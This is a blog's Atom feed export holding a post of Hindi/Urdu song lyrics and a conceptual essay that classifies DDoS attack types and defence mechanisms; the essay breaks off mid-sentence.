<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2186942356576182589</id><updated>2012-02-10T09:53:46.569-08:00</updated><title type='text'>Come To My World Of Computers</title><subtitle type='html'>Its All About Me And My Tricks 
This Blog Is For Giving Knowledge To The People and 

Try The Tricks In Your Risk do as same as i say</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>49</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-6991047711414229574</id><published>2010-10-14T21:07:00.000-07:00</published><updated>2010-10-14T21:16:00.795-07:00</updated><title type='text'>Humsafar</title><content type='html'>Teri zulfoon ki , naram chon me,naram chaon me , khoya rehta hoon , khoya rehta hoon hamsafar,&lt;br /&gt;Aur aise hi, haan haan aise hi pyar dikhta hai meri ankhon me, meri aaaankhon me humsfar,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Teri saanon ki ,garam aahat me , garam aahat me , soya rehtahun oya rehta hun humsafar,&lt;br /&gt;Aur aise hi, haan haan aise hi ,main toh khota hun , main bhi khota hun humsafar,&lt;br /&gt;&lt;br /&gt;Teri aankhon ki sargoshi me , sargoooshi me , dooba rehta hun , dooba rehta hun humafar ,&lt;br /&gt;Aur aise hi, haan haan aise hi main toh jhumta hun main bhi jhumta hun hamsaar,&lt;br /&gt;&lt;br /&gt;Teri duriyoon ka ehsaas hota hai , ehsaas hota hai , dil bhi marta hai haan ji mart hai humafar ,&lt;br /&gt;Aur aise hi, haan haan aise hi pyaar bhta hai haan jee badhta hai humsafar ,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-6991047711414229574?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/6991047711414229574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=6991047711414229574' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6991047711414229574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6991047711414229574'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2010/10/humsafar.html' title='Humsafar'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5948925918245501707</id><published>2009-06-23T23:37:00.000-07:00</published><updated>2009-06-23T23:39:15.829-07:00</updated><title type='text'>DDoS Attacks and DDoS Defense Mechanisms</title><content type='html'>Introduction&lt;br /&gt;&lt;br /&gt;Distributed  denial-of-service  attacks  (DDoS)  pose an  immense  threat  to  the  Internet,  and consequently many defense mechanisms have been proposed  to  combat  them.  Attackers constantly modify their tools to bypass these security systems, and researchers in turn modify their approaches to handle new attacks.The  DDoS  field  is  evolving quickly,  and  it  is  becoming  increasingly  hard  to grasp  a  global  view  of  the  problem.&lt;br /&gt;&lt;br /&gt;DDoS Attack Overview&lt;br /&gt;&lt;br /&gt;A  denial-of-service  attack  is  characterized  by  an explicit  attempt  by  attackers  to  prevent  legitimate users  of  a  service  from  using  that  service. A distributed denial-of-service attack deploys multiple machines to attain this goal. The service is denied by  sending a  stream of packets to a victim that  either  consumes some  key  resource, thus rendering  it  unavailable  to  legitimate  clients,  or provides  the attacker with unlimited access  to  the victim machine so he can inflict arbitrary damage. This section will answer the following questions:&lt;br /&gt;&lt;br /&gt;1.  What makes DDoS attacks possible?&lt;br /&gt;2.  How do these attacks occur?&lt;br /&gt;3.  Why do they occur?&lt;br /&gt;&lt;br /&gt;Internet Architecture&lt;br /&gt;&lt;br /&gt;The  Internet  is  managed  in  a distributed  manner;  therefore  no  common  policy can  be  enforced  among  its  participants.Such design opens several security issues that provide opportunities for distributed denial-of-service attacks:&lt;br /&gt;&lt;br /&gt;1.  Internet security is highly interdependent. DDoS attacks are commonly launched from systems that are subverted through security related compromises. Regardless  of  how well secured  the  victim  system  may  be,  its susceptibility  to DDoS attacks depends on the state  of  security  in  the  rest  of  the  global Internet.&lt;br /&gt;&lt;br /&gt;2.  Internet resource is limited. Each Internet host has limited resources that can be consumed by a sufficient number of users.&lt;br /&gt;&lt;br /&gt;3.  Power of many is greater than power of few. Coordinated  and  simultaneous  malicious actions  by  some  participants  can  always  be detrimental  to  others,  if  the  resources  of  the attackers are greater  than  the  resources of  the victims.&lt;br /&gt;&lt;br /&gt;4.  Intelligence and resources are not collocated an end-to-end communication paradigm led to locating most of the intelligence needed for service guarantees with end hosts. At the same time,  a  desire  for  large  throughput  led  to  the design  of  high  bandwidth  pathways  in  the intermediate network. Thus, malicious  clients can  misuse  the  abundant  resources  of unwitting  network  for  delivery  of  numerous messages to a victim.&lt;br /&gt;&lt;br /&gt;DDoS Attack Strategy&lt;br /&gt;&lt;br /&gt;In order to perform a distributed denial-of-service attack, the attacker needs to recruit the multiple agent (slave) machines. This  process  is  usually performed  automatically  through  scanning  of remote  machines,  looking  for  security  holes  that would enable subversion. Vulnerable machines are then  exploited  by  using  the  discovered vulnerability  to  gain  access  to  the  machine,  and they  are  infected  with  the  attack  code.  The exploit/infection  phase  is  also  automated,  and  the infected  machines  can  be  used  for  further recruitment  of  new  agents .Agent  machines  perform  the  attack  against  the victim. Attackers  usually  hide  the  identity  of  the agent machines during the attack through spoofing of  the  source  address  field  in  packets. The agent machines can thus be reused for future attacks.&lt;br /&gt;&lt;br /&gt;DDoS Goals&lt;br /&gt;&lt;br /&gt;The goal of a DDoS attack is to inflict damage on the victim, either for personal reasons (a significant number  of  DDoS  attacks  are  against  home computers,  presumably  for  purposes  of  revenge), for  material  gain  (damaging  competitor's resources) or  for popularity  (successful attacks on popular Web servers gain the respect of the hacker community).&lt;br /&gt;&lt;br /&gt;Taxonomy of DDoS Attacks&lt;br /&gt;&lt;br /&gt;In order to devise a taxonomy of distributed denialof- service  attacks  we  observe  the  means  used  to prepare and perform the attack, the characteristics of  the  attack  itself  and  the  effect  it  has  on  the victim. Various classification criteria are indicated in bold type. Figure 1 summarizes the taxonomy.&lt;br /&gt;&lt;br /&gt;Classification by Degree of Automation&lt;br /&gt;&lt;br /&gt;During the attack preparation, the attacker needs to locate prospective agent machines and infect them with the attack code. Based on the degree of automation of the attack, we differentiate between manual, semi-automatic and automatic DDoS attacks.&lt;br /&gt;&lt;br /&gt;Manual Attacks&lt;br /&gt;Only the early DDoS attacks belonged to the manual category. The attacker scanned remote machines for vulnerabilities, broke into them and installed the attack code, and then commanded the onset of the attack. All of these actions were soon automated, leading to development of semiautomatic DDoS attacks, the category where most contemporary attacks belong.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Semi-Automatic Attacks&lt;br /&gt;&lt;br /&gt;In  semi-automatic  attacks,  the  DDoS  network consists  of  handler  (master)  and  agent  (slave, daemon)  machines. The attacker deploys automated scripts for scanning and compromise of those machines and installation of the attack code. He  then  uses  handler  machines  to  specify  the attack  type  and  the  victim's  address  and  to command  the  onset  of  the  attack  to  agents, who send packets to the victim. Based  on  the  communication  mechanism deployed between agent and handler machines we divide  semi-automatic  attacks  into  attacks  with direct  communication  and  attacks  with  indirect communication.&lt;br /&gt;&lt;br /&gt;Attacks with direct communication&lt;br /&gt;&lt;br /&gt;During  attacks  with  direct communication,  the agent  and  handler machines  need  to  know  each other's  identity  in order  to communicate. This  is achieved  by  hard-coding  the  IP  address  of  the handler machines  in  the  attack  code  that  is  later installed on the agent. Each agent then reports its readiness to the handlers, who store its IP address in a file for later communication.  The obvious drawback of this approach is that discovery of one compromised machine can expose the whole DDoS network. Also, since agents and handlers listen to network connections, they are identifiable by network scanners.&lt;br /&gt;&lt;br /&gt;Attacks with indirect communication&lt;br /&gt;&lt;br /&gt;Attacks  with  indirect  communication  deploy  a level  of  indirection  to  increase  the  survivability of a DDoS network.Recent attacks provide the example of using IRC channels for agent/handler communication.  The  use  of  IRC services replaces the function of a handler, since the  IRC  channel  offers  sufficient  anonymity  to the  attacker. Since  DDoS  agents  establish outbound  connections  to  a  standard  service  port used  by  a  legitimate  network  service,  agent communications  to  the control point may not be easily  differentiated  from  legitimate  network traffic. The agents do not incorporate a listening port that is easily detectable with network scanners. An attacker controls the agents using IRC communications channels. Thus,  discovery of  a  single  agent  may  lead  no  further  than  the identification  of  one  or  more  IRC  servers  and channel names used by the DDoS network. From there,  identification  of  the  DDoS  network depends  on  the  ability  to  track  agents  currently connected  to  the  IRC  server. Although  the  IRC service  is  the  only  current  example  of  indirect communication,  there  is  nothing  to  prevent attackers  from  subverting  other  legitimate services for similar purposes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Automatic Attacks&lt;br /&gt;&lt;br /&gt;Automatic DDoS attacks additionally automate the attack phase, thus avoiding the need for communication between attacker and agent machines. The time of the onset of the attack,&lt;br /&gt;attack  type, duration  and  victim's  address  is preprogrammed  in  the  attack  code. It  is obvious that  such  deployment  mechanisms  offer  minimal exposure to the attacker, since he is only involved in  issuing  a  single  command –  the  start  of  the attack  script. The hard coded attack specification suggests a single-purpose use of the DDoS network. However, the propagation mechanisms usually leave the backdoor to the compromised DDoS machine open, enabling easy future access and modification of the attack code. Both semi-automatic and automatic attacks recruit the agent machines by deploying automatic scanning and propagation techniques. Based on the scanning  strategy,  we  differentiate  between attacks  that  deploy  random  scanning,  hit list scanning,  topological  scanning,  permutation scanning and  local  subnet  scanning. Attackers usually combine the scanning and exploitation phases, thus gaining  a  larger  agent  population,  and  my description  of  scanning  techniques  relates  to  this model.&lt;br /&gt;&lt;br /&gt;Attacks with Random Scanning&lt;br /&gt;&lt;br /&gt;During random scanning each compromised host probes random addresses in the IP address space, using a different seed. This potentially creates a high traffic volume since many machines probe the same addresses. Code Red (CRv2) performed random scanning .&lt;br /&gt;&lt;br /&gt;Attacks with Hitlist Scanning&lt;br /&gt;&lt;br /&gt;A machine performing hitlist scanning probes all addresses from an externally supplied list. When it  detects  the  vulnerable  machine,  it  sends  one half of the initial hitlist to the recipient and keeps the  other  half.  This  technique  allows  for  great propagation  speed  (due  to exponential  spread) and no collisions during  the  scanning phase. An attack deploying hitlist scanning could obtain the list from netscan.org of domains that still support directed IP broadcast and can thus be used for a Smurf attack.&lt;br /&gt;&lt;br /&gt;Attacks with Topological Scanning&lt;br /&gt;&lt;br /&gt;Topological scanning uses the information on the compromised host to select new targets.  All mail worms use topological scanning, exploiting the information from address books for their spread.&lt;br /&gt;&lt;br /&gt;Attacks with Permutation Scanning&lt;br /&gt;&lt;br /&gt;During  permutation  scanning, all  compromised machines  share  a  common  pseudo-random permutation of the IP address space; each IP address  is  mapped  to  an  index  in  this permutation. A machine begins scanning by using the index computed from its IP address as a starting point. Whenever it sees an already infected machine, it chooses a new random start point. This has the effect of providing a semi coordinated, comprehensive scan while maintaining the benefits of random probing. This technique is described in as not yet deployed.&lt;br /&gt;&lt;br /&gt;Attacks with Local Subnet Scanning&lt;br /&gt;&lt;br /&gt;Local subnet scanning can be added to any of the previously described techniques to preferentially scan for targets that reside on the same subnet as the compromised host. Using this technique, a single copy of the scanning program can compromise many vulnerable machines behind a firewall. Code Red II and Nimda Worm used local subnet scanning. Based  on  the  attack  code  propagation mechanism, we differentiate between  attacks  that deploy central  source propagation, back-chaining propagation and autonomous propagation .&lt;br /&gt;&lt;br /&gt;Attacks with Central Source Propagation&lt;br /&gt;&lt;br /&gt;During central source propagation, the attack code resides on a central server or set of servers.&lt;br /&gt;After compromise of the agent machine, the code is downloaded from the central source through a file transfer mechanism.  The 1i0n worm operated in this manner.&lt;br /&gt;&lt;br /&gt; Attacks with Back-chaining Propagation&lt;br /&gt;&lt;br /&gt;During back-chaining propagation, the attack code is downloaded from the machine that was used to exploit the system.The infected machine then becomes the source for the next propagation step. Back-chaining propagation is more survivable than central-source propagation since it avoids a single point of failure. The Ramen worm and Morris Worm used backchaining propagation.&lt;br /&gt;&lt;br /&gt;Attacks with Autonomous Propagation&lt;br /&gt;&lt;br /&gt;Autonomous propagation avoids the file retrieval step by injecting attack instructions directly into the target host during the exploitation phase. Code Red, Warhol Worm and numerous E-mail worms use autonomous propagation.&lt;br /&gt;&lt;br /&gt;Classification by Exploited Vulnerability&lt;br /&gt;&lt;br /&gt;Distributed denial-of-service attacks exploit different strategies to deny the service of the victim to its clients. Based on the vulnerability that is targeted during an attack, we differentiate between protocol attacks and brute-force attacks.&lt;br /&gt;&lt;br /&gt;Protocol Attacks&lt;br /&gt;&lt;br /&gt;Protocol  attacks  exploit  a  specific  feature  or implementation  bug  of  some  protocol  installed  at the victim  in order to consume excess amounts of its  resources.  Examples  include  the  TCP  SYN attack,  the  CGI  request  attack  and  the authentication server attack. In the TCP SYN attack, the exploited feature is the allocation  of  substantial  space  in  a  connection queue  immediately  upon  receipt  of  a  TCP  SYN request. The attacker initiates multiple connections&lt;br /&gt;that  are  never  completed,  thus  filling  up  the connection  queue  indefinitely.  In the CGI request attack, the attacker consumes the CPU time of the victim by issuing multiple CGI requests. In  the authentication  server  attack,  the  attacker  exploits the  fact  that  the  signature  verification  process consumes significantly more  resources than bogus signature  generation.  He  sends  numerous  bogus authentication  requests  to  the  server,  tying  up  its resources.&lt;br /&gt;&lt;br /&gt;Brute-force Attacks&lt;br /&gt;&lt;br /&gt;Brute-force  attacks  are  performed  by  initiating  a vast  amount  of  seemingly  legitimate transactions. Since an upstream network can usually deliver higher traffic volume than the victim network can handle, this exhausts the victim's resources. We further divide brute-force attacks based on the relation of packet contents with victim services into filterable and non-filterable attacks.&lt;br /&gt;&lt;br /&gt;Filterable Attacks&lt;br /&gt;&lt;br /&gt;Filterable attacks use bogus packets or packets for non-critical services of the victim's operation, and thus can be filtered by a firewall. Examples of such attacks are a UDP flood attack or an&lt;br /&gt;ICMP request flood attack on a Web server.&lt;br /&gt;&lt;br /&gt;Non-filterable Attacks&lt;br /&gt;&lt;br /&gt;Non-filterable attacks use packets that request legitimate services from the victim. Thus, filtering  all  packets  that  match  the  attack signature would  lead  to  an  immediate  denial  of the specified service to  both  attackers  and  the legitimate clients. Examples are a HTTP request flood targeting a Web server or a DNS request flood targeting a name server. The line between protocol and brute force attacks is thin. Protocol attacks also overwhelm a victim's resources with  excess  traffic,  and  badly  designed protocol  features  at  remote  hosts  are  frequently used  to  perform  "reflector"  brute-force  attacks, such as  the DNS  request attack or  the Smurf attack. The  difference  is  that  a  victim  can  mitigate  the effect  of  protocol  attacks  by  modifying  the deployed  protocols  at  its  site, while  it  is  helpless against  brute-force  attacks  due  to  their misuse  of legitimate  services  (non-filterable  attacks)  or  due to  its  own  limited  resources  (a  victim  can  do nothing  about  an  attack  that  swamps  its  network bandwidth). Countering protocol attacks by modifying the deployed protocol pushes the corresponding attack mechanism into the brute-force category.  For example,  if  the victim deploys TCP SYN  cookies to  combat  TCP  SYN  attacks,  it will  still  be vulnerable to TCP SYN attacks that generate more requests  than  its  network  can  accommodate. However, the brute-force attacks need to generate a much higher volume of attack packets than protocol attacks, to inflict damage at the victim. So by  modifying  the  deployed  protocols  the  victim pushes  the  vulnerability  limit  higher.  Evidently, classification of the specific attack needs to take into account both the attack mechanisms used and the victim's configuration. It is interesting to note that the variability of attack packet contents is determined by the exploited vulnerability. Packets comprising protocol and non-filterable brute force attacks must specify some valid header fields and possibly some valid contents.  For  example  TCP  SYN  attack  packets cannot  vary  the  protocol  or  flag  field,  and HTTP flood  packets must  belong  to  an  established TCP connection  and  therefore  cannot  spoof  source addresses,  unless  they  hijack  connections  from legitimate clients.&lt;br /&gt;&lt;br /&gt;Classification by Attack Rate Dynamics&lt;br /&gt;&lt;br /&gt;Depending on the attack rate dynamics we differentiate between continuous rate and variable rate attacks.&lt;br /&gt;&lt;br /&gt;Continuous Rate Attacks&lt;br /&gt;&lt;br /&gt;The majority of known attacks deploy a continuous rate mechanism. After  the  onset  is  commanded, agent  machines  generate  the  attack  packets  with full  force.  This  sudden  packet  flood  disrupts  the victim's  services quickly,  and  thus  leads  to  attack detection.&lt;br /&gt;&lt;br /&gt;Variable Rate Attacks&lt;br /&gt;&lt;br /&gt;Variable rate attacks are more cautious in their engagement, and they vary the attack rate to avoid detection and response. Based on the rate change mechanism we differentiate between attacks with increasing rate and fluctuating rate&lt;br /&gt;.&lt;br /&gt;Increasing Rate Attacks&lt;br /&gt;&lt;br /&gt;Attacks that have a gradually increasing rate lead to a slow exhaustion of victim's resources.  A state change of the victim could be so gradual that its services degrade slowly over a long time period, thus delaying detection of the attack.&lt;br /&gt;&lt;br /&gt;Fluctuating Rate Attacks&lt;br /&gt;&lt;br /&gt;Attacks  that  have  a  fluctuating  rate  adjust  the attack  rate  based  on  the  victim's  behavior, occasionally relieving  the  effect  to  avoid detection.  At the extreme end, there is the example of pulsing attacks.  During  pulsing attacks,  agent  hosts  periodically  abort  the  attack and  resume  it  at  a  later  time.  If  this  behavior  is simultaneous  for  all  agents,  the  victim experiences  periodic  service  disruptions.  If, however,  agents  are  divided  into  groups  who coordinate  so  that  one  group  is  always  active, then the victim experiences continuous denial of service.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Classification by Impact&lt;br /&gt;&lt;br /&gt;Depending on the impact of a DDoS attack on the victim we differentiate between disruptive and degrading attacks.&lt;br /&gt;&lt;br /&gt;Disruptive Attacks&lt;br /&gt;&lt;br /&gt;The goal of disruptive attacks is to completely deny the victim's service to its clients. All currently known attacks belong to this category.&lt;br /&gt;&lt;br /&gt;Degrading Attacks&lt;br /&gt;&lt;br /&gt;The  goal  of  degrading  attacks  would  be  to consume  some  (presumably constant) portion of a victim's  resources. Since these attacks do not  lead to  total  service  disruption,  they  could  remain undetected  for  a  significant  time  period. On the other hand, damage inflicted on the victim could be immense.  For  example,  an  attack  that effectively  ties  up  30%  of  the  victim's  resources would lead to denial of service to some percentage of  customers  during  high  load  periods,  and possibly  slower  average  service. Some  customers, dissatisfied  with  the  quality,  would  consequently change  their  service  provider  and  victim  would thus lose income. Alternately, the false load could result in a victim spending money to upgrade its servers and networks.&lt;br /&gt;&lt;br /&gt;Taxonomy of DDoS Defense Mechanisms&lt;br /&gt;&lt;br /&gt;The  seriousness  of  the  DDoS  problem  and  the increased  frequency  of DDoS  attacks  have  led  to the  advent  of  numerous  DDoS  defense mechanisms. Some of these mechanisms address a specific  kind  of  DDoS  attack  such  as  attacks  on Web  servers  or  authentication  servers.  Other approaches attempt to solve the entire generic DDoS problem. Most of  the  proposed  approaches require  certain  features  to  achieve  their  peak performance,  and will perform  quite  differently  if deployed  in  an  environment  where  these requirements are not met.&lt;br /&gt;As is frequently pointed out, there is no "ram ban (means the weapon which never misses the target in hindi)" against DDoS attacks. Therefore we need to understand  not  only  each  existing  DDoS  defense approach, but also how those approaches might be combined  together  to  effectively  and  completely solve the problem.&lt;br /&gt;&lt;br /&gt;Classification by Activity Level&lt;br /&gt;&lt;br /&gt;Based on the activity level of DDoS defense mechanisms, we differentiate between preventive and reactive mechanisms.&lt;br /&gt;&lt;br /&gt;Preventive Mechanisms&lt;br /&gt;&lt;br /&gt;The  goal  of  preventive  mechanisms  is  either  to eliminate  the  possibility  of  DDoS  attacks altogether or to enable potential victims  to endure the  attack  without  denying  services  to  legitimate clients. According to these goals we further divide preventive mechanisms into attack prevention and denial-of-service prevention mechanisms.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Attack Prevention Mechanisms&lt;br /&gt;Attack prevention mechanisms modify the system configuration to eliminate the possibility of a DDoS attack.  Based  on  the  target  they secure,  we  further  divide  them  into  system security and protocol security mechanisms.&lt;br /&gt;&lt;br /&gt;System Security Mechanisms&lt;br /&gt;&lt;br /&gt;System  security  mechanisms  increase  the overall security of the system, guarding against illegitimate accesses to the machine, removing application  bugs  and  updating  protocol installations  to  prevent  intrusions  and  misuse of  the  system. DDoS  attacks owe  their  power to  large  numbers  of  subverted  machines  that cooperatively  generate  the  attack  streams.  If these  machines  were  secured,  the  attackers would  lose  their  army  and  the  DDoS  threat would  then  disappear.  On  the  other  hand, systems  vulnerable  to  intrusions  can themselves become victims of DDoS attacks in which  the  attacker,  having  gained  unlimited access  to  the  machine,  deletes  or  alters  its contents.  Potential  victims  of  DDoS  attacks can  be  easily  overwhelmed  if  they  deploy vulnerable  protocols. Examples of system security mechanisms include monitored access to the machine,  applications  that download and install security patches, firewall systems, virus  scanners, intrusion detection  systems, access lists  for critical resources,  capability-based  systems and  client-legitimacy-based  systems. The history of computer  security  suggests  that  this approach  can  never  be  100%  effective,  but doing  a  good  job  here will  certainly  decrease the frequency and strength of DDoS attacks.&lt;br /&gt;&lt;br /&gt;Protocol Security Mechanisms&lt;br /&gt;&lt;br /&gt;Protocol security mechanisms address the problem of bad protocol design. Many protocols contain operations that are cheap for the client but expensive for the server.  Such protocols  can  be  misused  to  exhaust  the resources  of  a  server  by  initiating  large numbers of  simultaneous  transactions. Classic misuse examples are the TCP SYN attack, the authentication  server  attack,  and  the fragmented packet attack, in which the attacker bombards  the  victim  with  malformed  packet fragments  forcing  it  to waste  its  resources  on reassembling  attempts.  Examples  of  protocol security mechanisms  include  guidelines  for  a safe  protocol  design  in  which  resources  are committed  to  the  client  only  after  sufficient authentication is done , or the client has paid a sufficient price , deployment of powerful  proxy  server  that  completes  TCP connections , etc. Deploying  comprehensive  protocol  and  system security  mechanisms  can  make  the  victim completely  resilient  to  protocol  attacks.  Also, these approaches are inherently compatible with and complementary to all other approaches.&lt;br /&gt;Denial-of-service prevention mechanisms enable the victim to endure attack attempts without denying service to legitimate clients. This is done either  by  enforcing  policies  for  resource consumption  or  by  ensuring  that  abundant resources exist  so that legitimate clients will not be affected by the attack. Consequently, based on the prevention method, we differentiate between resource accounting and resource multiplication mechanisms.&lt;br /&gt;&lt;br /&gt;Resource Accounting Mechanisms&lt;br /&gt;&lt;br /&gt;Resource  accounting  mechanisms  police  the access of  each  user  to  resources  based  on  the privileges of  the  user  and  his  behavior.  Such mechanisms guarantee fair service to legitimate well-behaving users. In order to avoid user identity  theft,  they  are  usually coupled  with  legitimacy-based  access mechanisms  that  verify  the  user's  identity. Approaches proposed in illustrate resource accounting mechanisms.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resource Multiplication Mechanisms&lt;br /&gt;&lt;br /&gt;Resource multiplication mechanisms provide an abundance of resources to counter DDoS threats. The  straightforward  example  is  a system  that  deploys  a  pool  of  servers  with  a load balancer and installs high bandwidth links between  itself  and  upstream  routers.  This approach essentially raises the bar on how many machines must participate in an attack to be effective.  While not providing perfect protection, for those who can afford the costs, this approach has often proven sufficient. For example, Microsoft has used it to weather large DDoS attacks.&lt;br /&gt;&lt;br /&gt;Reactive Mechanisms&lt;br /&gt;&lt;br /&gt;Reactive mechanisms strive to alleviate the impact of an attack on the victim.  In order to attain this goal they need to detect the attack and respond to it. The  goal  of  attack  detection  is  to  detect  every attempted DDoS attack as early as possible and to have  a  low degree of  false positives. Upon attack detection, steps can be taken to characterize the packets belonging to the attack stream and provide this characterization to the response mechanism. We  classify  reactive  mechanisms  based  on  the attack  detection  strategy  into  mechanisms  that deploy  pattern  detection,  anomaly  detection, hybrid detection, and third-party detection.&lt;br /&gt;&lt;br /&gt;Mechanisms with Pattern Attack Detection&lt;br /&gt;&lt;br /&gt;Mechanisms  that  deploy  pattern  detection  store the  signatures  of  known  attacks  in  a  database. Each communication is monitored and compared with database entries to discover occurrences of DDoS attacks. Occasionally, the database is updated with new attack signatures. The obvious drawback  of  this  detection mechanism  is  that  it can  only  detect  known  attacks,  and  it  is  usually helpless  against  new  attacks  or  even  slight variations of old attacks  that  cannot  be matched to the stored signature. On the other hand, known attacks are easily and reliably detected, and no false positives are encountered&lt;br /&gt;&lt;br /&gt;Mechanisms with Anomaly Attack Detection&lt;br /&gt;&lt;br /&gt;Mechanisms that deploy anomaly detection have a  model  of  normal  system  behavior,  such  as  a model  of  normal  traffic  dynamics  or  expected system  performance. The current state of the system is periodically compared with the models to detect anomalies.  Approaches presented in provide examples of mechanisms that use anomaly detection. The  advantage  of  anomaly  detection  over  pattern detection  is  that  unknown  attacks  can  be discovered. However, anomaly-based detection has to address two issues:&lt;br /&gt;&lt;br /&gt;1. Threshold setting. Anomalies are detected when the current system state differs from the model by a certain threshold. The setting of a low threshold leads to many false positives, while a high threshold reduces the sensitivity of the detection mechanism.&lt;br /&gt;&lt;br /&gt;2.  Model update.  Systems and communication patterns evolve with time, and models need to be updated to reflect this change.  Anomaly based systems usually perform automatic model update using statistics gathered at a time when no attack was detected. This approach makes the detection mechanism vulnerable to increasing rate attacks that can mistrial models and delay or even avoid attack detection.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mechanisms with Hybrid Attack Detection&lt;br /&gt;&lt;br /&gt;Mechanisms that deploy hybrid detection combine the pattern-based and anomaly-based detection,  using  data  about  attacks  discovered through  an  anomaly  detection  mechanism  to devise  new  attack  signatures  and  update  the database. Many intrusion detection systems use hybrid detection. If these systems are fully automated, properly extracting a signature from a detected attack can be challenging. The system must be careful not to permit  attackers  to  fool  it  into  detecting  normal behavior  as  an  attack  signature,  or  the  system itself becomes a denial-of-service tool.&lt;br /&gt;&lt;br /&gt;Mechanisms with Third-Party Attack Detection&lt;br /&gt;&lt;br /&gt;Mechanisms that deploy  third-party detection do not handle  the detection process  themselves, but rely  on  an  external  message  that  signals  the occurrence  of  the  attack  and  provides  attack characterization.  Examples  of  mechanisms  that use  third-party detection are easily  found among trace back  mechanisms The  goal  of  the  attack  response  is  to  relieve  the impact of the attack on the victim, while imposing minimal  collateral damage  to  legitimate  clients of the victim. I classify reactive mechanisms based on  the  response  strategy  into  mechanisms  that deploy  agent  identification,  rate-limiting,  filtering and reconfiguration approaches.&lt;br /&gt;&lt;br /&gt;Agent Identification Mechanisms&lt;br /&gt;&lt;br /&gt;Agent identification mechanisms provide the victim with information about the identity of the machines that are performing the attack.  This information can then be combined with other response approaches to alleviate the impact of the attack.  Agent  identification  examples  include numerous  trace back  techniques and  approaches  that  eliminate spoofing thus  enabling  use  of  the source address field for agent identification.&lt;br /&gt;&lt;br /&gt;Rate-Limiting Mechanisms&lt;br /&gt;&lt;br /&gt;Rate-limiting mechanisms impose a rate limit on a stream that has been characterized as malicious by the detection mechanism.  Examples  of  rate limiting mechanisms  are  found  in  Rate  limiting  is  a  lenient  response technique  that  is  usually  deployed  when  the detection  mechanism  has  a  high  level  of  false positives  or  cannot  precisely  characterize  the attack stream. The disadvantage is that they allow some attack traffic through, so extremely high scale attacks might still be effective even if all traffic streams are rate-limited.&lt;br /&gt;&lt;br /&gt;Filtering Mechanisms&lt;br /&gt;&lt;br /&gt;Filtering  mechanisms  use  the  characterization provided  by  a  detection mechanism  to  filter  out the  attack  stream  completely.  Examples  include dynamically  deployed  firewalls ,  and  also  a commercial  system  Traffic Master . Unless detection  strategy  is  very  reliable,  filtering mechanisms run  the  risk of accidentally denying service  to  legitimate  traffic.  Worse, clever attackers might leverage them as denial-of service tools.&lt;br /&gt;&lt;br /&gt;Reconfiguration Mechanisms&lt;br /&gt;&lt;br /&gt;Reconfiguration  mechanisms  change  the topology  of  the  victim  or  the  intermediate network  to  either  add  more  resources  to  the victim  or  to  isolate  the  attack  machines. Examples include reconfigurable overlay networks, resource replication services, attack isolation strategies etc. Reactive DDoS  defense mechanisms can perform detection and response either  alone  or  in cooperation  with  other  entities  in  the  Internet. Based on the cooperation degree we differentiate between autonomous, cooperative and interdependent mechanisms.&lt;br /&gt;&lt;br /&gt;Autonomous Mechanisms&lt;br /&gt;&lt;br /&gt;Autonomous mechanisms perform independent attack detection and response. They are usually deployed at a single point in the Internet and act locally. Firewalls and intrusion detection systems provide an easy example of autonomous mechanisms.&lt;br /&gt;&lt;br /&gt;Cooperative Mechanisms&lt;br /&gt;&lt;br /&gt;Cooperative mechanisms are capable of autonomous detection and response, but can achieve significantly better performance through cooperation with other entities. Mechanisms deploying pushback provide examples of cooperative mechanisms. They detect the occurrence  of  a  DDoS  attack  by  observing congestion  in  a  router's  buffer,  characterize  the traffic that creates the congestion, and act locally to  impose  a  rate  limit  on  that  traffic. However, they  achieve significantly  better  performance  if the  rate  limit  requests  can  be  propagated  to upstream routers who otherwise may be unaware of the attack.&lt;br /&gt;&lt;br /&gt;Interdependent Mechanisms&lt;br /&gt;&lt;br /&gt;Interdependent mechanisms cannot operate autonomously; they rely on other entities either for attack detection or for efficient response. Traceback mechanisms provide 